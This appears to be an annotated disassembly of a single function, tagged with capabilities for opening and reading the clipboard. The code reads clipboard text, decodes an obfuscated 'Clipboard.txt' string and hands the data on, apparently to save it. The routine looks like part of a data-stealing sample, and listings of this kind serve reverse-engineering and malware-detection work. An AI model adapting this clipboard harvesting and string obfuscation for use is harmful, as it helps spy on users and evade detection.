Function at 0x431700
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov esi, esp
push eax
mov dword [esi + 4], esp
push eax
mov ebx, esp
push eax
mov dword [esi + 0x10], esp
push eax
mov eax, esp
mov dword [esi + 0xc], eax
call fcn.00409740
push eax
mov eax, esp
jmp 0x431729
mov dword [esi + 0x28], eax
call fcn.00409740
sub esp, 0x18
mov edi, esp
and edi, 0xfffffff8
mov esp, edi
push eax
mov dword [esi + 0x24], esp
mov eax, dword [ebp + 8]
mov dword [esi + 0x38], eax
mov eax, dword [esi + 4]
mov byte [eax], 0
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
jmp 0x43175f
cmp eax, 0
setne al
test al, 1
jne 0x43176e
jmp 0x431a61
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [ebx], eax
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, dword [esi + 0x10]
mov dword [ebx], eax
cmp dword [ebx], 0
je 0x431a53
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 0xc]
mov dword [ecx], eax
mov eax, ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00408fd0
add esp, 4
mov ecx, dword [esi + 0x28]
mov dword [ecx], eax
cmp dword [ecx], 0
setne al
test al, 1
jne 0x4317e1
jmp 0x431a41
mov eax, dword [esi + 0x38]
mov dword [esi + 0x2c], eax
mov eax, dword [ecx]
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov dword [esi + 0x30], eax
mov eax, dword [esi + 0x24]
mov al, byte [eax]
mov byte [esi + 8], al
lea eax, str.Clipboard.txt
mov dword [esi], eax
mov dword [esi + 0x44], edi
mov byte [edi], 0x6b
mov byte [edi + 1], 0x91
mov eax, dword [esi]
movzx ecx, byte [eax + 2]
add ecx, 0xc7854eaa
mov edx, ecx
and edx, 0x8a379d88
shl edx, 1
mov ebx, 0x8a379d88
sub ebx, edx
add ebx, ecx
mov byte [edi + 2], bl
movzx eax, byte [eax + 3]
add eax, 0xc7854eaa
mov ecx, eax
and ecx, 0x8a379d89
shl ecx, 1
mov edx, 0x8a379d89
sub edx, ecx
add edx, eax
mov byte [edi + 3], dl
mov eax, dword [esi]
movzx ecx, byte [eax + 4]
add ecx, 0xc7854eaa
mov edx, ecx
and edx, 0x8a379d8a
shl edx, 1
mov ebx, 0x8a379d8a
sub ebx, edx
add ebx, ecx
mov byte [edi + 4], bl
movzx eax, byte [eax + 5]
add eax, 0xc7854eaa
mov ecx, eax
and ecx, 0x8a379d8b
shl ecx, 1
mov edx, 0x8a379d8b
sub edx, ecx
add edx, eax
mov byte [edi + 5], dl
mov eax, dword [esi]
movzx eax, byte [eax + 6]
add eax, 0xc7854eaa
mov ecx, eax
and ecx, 0x8a379d8c
shl ecx, 1
mov edx, 0x8a379d8c
sub edx, ecx
add edx, eax
mov byte [edi + 6], dl
mov eax, dword [esi]
movzx ecx, byte [eax + 7]
add ecx, 0xc7854eaa
mov edx, ecx
and edx, 0x8a379d8d
shl edx, 1
mov ebx, 0x8a379d8d
sub ebx, edx
add ebx, ecx
mov byte [edi + 7], bl
movzx eax, byte [eax + 8]
add eax, 0xc7854eaa
mov ecx, eax
and ecx, 0x8a379d8e
shl ecx, 1
mov edx, 0x8a379d8e
sub edx, ecx
add edx, eax
mov byte [edi + 8], dl
mov eax, dword [esi]
movzx ecx, byte [eax + 9]
add ecx, 0xc7854eaa
mov edx, ecx
and edx, 0x8a379d8f
shl edx, 1
mov ebx, 0x8a379d8f
sub ebx, edx
add ebx, ecx
mov byte [edi + 9], bl
movzx eax, byte [eax + 0xa]
add eax, 0xc7854eaa
mov ecx, eax
and ecx, 0x8a379d90
shl ecx, 1
mov edx, 0x8a379d90
sub edx, ecx
add edx, eax
mov byte [edi + 0xa], dl
mov eax, dword [esi]
movzx ecx, byte [eax + 0xb]
add ecx, 0xc7854eaa
mov edx, ecx
and edx, 0x8a379d91
shl edx, 1
mov ebx, 0x8a379d91
sub ebx, edx
add ebx, ecx
mov byte [edi + 0xb], bl
movzx eax, byte [eax + 0xc]
add eax, 0xc7854eaa
mov ecx, eax
and ecx, 0x8a379d92
shl ecx, 1
mov edx, 0x8a379d92
sub edx, ecx
add edx, eax
mov byte [edi + 0xc], dl
mov eax, dword [esi]
movzx eax, byte [eax + 0xd]
add eax, 0xc7854eaa
mov ecx, eax
and ecx, 0x8a379d93
shl ecx, 1
mov edx, 0x8a379d93
sub edx, ecx
add edx, eax
mov byte [edi + 0xd], dl
mov eax, 0xe
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0x12
jne 0x43199a
mov dword [esi + 0x18], edi
xor eax, eax
mov dword [esi + 0x14], eax
cmp eax, 0x12
jae 0x431a18
mov edi, dword [esi + 0x14]
mov eax, dword [esi + 0x18]
mov dword [esi + 0x20], eax
movzx ebx, byte [eax + edi]
call fcn.00409740
call fcn.00409740
mov dword [esi + 0x40], ebx
call fcn.00409740
call fcn.00409740
mov eax, edi
add eax, 0x8a379d86
mov ebx, dword [esi + 0x40]
mov dword [esi + 0x1c], ebx
xor ebx, eax
mov ecx, 0x75c86279
sub ecx, edi
mov edx, ecx
or edx, ebx
not edx
add edx, edx
mov ebx, edx
not ebx
and eax, ebx
and edx, ecx
sub eax, edx
add eax, dword [esi + 0x1c]
mov dword [esi + 0x3c], eax
mov eax, dword [esi + 0x3c]
add al, 0x56
mov ecx, dword [esi + 0x20]
mov byte [ecx + edi], al
mov eax, dword [esi + 0x14]
add eax, 1
jmp 0x4319ab
mov eax, dword [esi + 0x18]
sub esp, 0xc
mov ecx, dword [esi + 0x2c]
mov dword [esp], eax
mov eax, dword [esi + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esi + 0x34]
mov dword [esp + 8], eax
call fcn.00409950
and al, 1
mov ecx, dword [esi + 4]
mov byte [ecx], al
mov ebx, dword [esi + 0x10]
mov eax, dword [ebx]
jmp 0x431a45
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x431a53
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x431a5b
jmp 0x431a5d
jmp 0x431a5f
jmp 0x431a61
mov eax, dword [esi + 4]
mov al, byte [eax]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret